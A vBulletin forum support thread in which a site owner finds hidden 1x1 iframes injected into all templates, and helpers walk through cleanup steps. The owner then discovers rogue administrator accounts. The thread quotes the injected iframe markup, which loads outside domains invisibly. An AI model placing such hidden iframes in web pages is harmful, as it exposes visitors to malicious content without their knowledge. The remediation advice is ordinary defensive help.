iframe injected into all templates

[dawges]

I have searched Google and have found a couple of forums suffering the same fate.

Today all of a sudden I noticed my pages loading slow so i looked at the code. I see a iframe at the bottom of all my pages:

<iframe src="http://damnxd.org/dns.html" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="http://www.jobless-jack.com/" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

My question is, how did it get there and how do i get rid of it?

--------------- Added [DATE]1378334265[/DATE] at [TIME]1378334265[/TIME] ---------------

I am running version 4.2.0 by the way.

[ozzy47]

You may want to check your templates and see if you were hacked and someone added it into your templates.

[dawges]

Originally Posted by ozzy47

You may want to check your templates and see if you were hacked and someone added it into your templates.

I checked the footer template but i dont know what to look for. I dont see the code just jump out.

[ozzy47]

Ok next step is to disable all plugins to see if it is coming from there.

Open your config.php and below<?php add this line:

PHP Code:

 define('DISABLE_HOOKS', true); 


So it looks like this:

PHP Code:

<?php
define('DISABLE_HOOKS', true);
/*=================================================  =====================*\
|| ##################################################  ################## ||
|| # vBulletin 4.1.4

Then check the page again and see if the iframe is still there.

[TheLastSuperman]

If you have vBSEO installed this is very likely, could also be from the recently discovered install directory exploit we are unsure without actually investigating it ourselves.

Try running the queries listed on my blog post scroll down to find "Run the following Queries in phpMyAdmin" and do so - http://www.vbulletin.com/forum/blogs...vbulletin-site

Some basics:

1. Start off by replacing all files with 100% fresh vbulletin files of the exact same version.
2. Next run queries listed on the blog and investigate all that come up. If your not running a custom style then first delete any malicious plugins/templates and you can delete the default style and remake a new one (create a new style after removing the malicious plugins etc then delete the old one otherwise your primary is the default and it will not allow you to delete etc).
3. Next check filesystem - AdminCP > Maintenance > Diagnostics > Suspect File Versions and check to see what is listed, cross reference that via FTP and inspect file dates etc; Anything named odd should be investigated i.e. sexy.php, lol.php anything seemingly odd however not all hackers are so apparent they could have named it crontools.php or something you would if not 100% familiar with the product assume was a normal file so take your time checking.
4. Once you feel its clean, either create or login your Google webmaster tools and request the site be checked, once they verify its clean you're normally good to go.

[ozzy47]

Thanks Mike, I knew I seen that somewhere before, I just could not for the life of me remember where it was.

[dawges]

Disabling Hooks does nothing, the iframe stays.

Superman I do not have vBSEO installed, However i will read the post you provided and report back.

[TheLastSuperman]

Originally Posted by ozzy47

Thanks Mike, I knew I seen that somewhere before, I just could not for the life of me remember where it was.

lol tis now bookmarked, I've been visiting profile on vb.com them finding all blog posts lololol .

[ozzy47]

Hmmm then it may be in the files somewhere, if it is not in the templates or plugins. Let us know what you come up with after following the post.

[dawges]

I have 4 new administrator in my admin group. All hackers.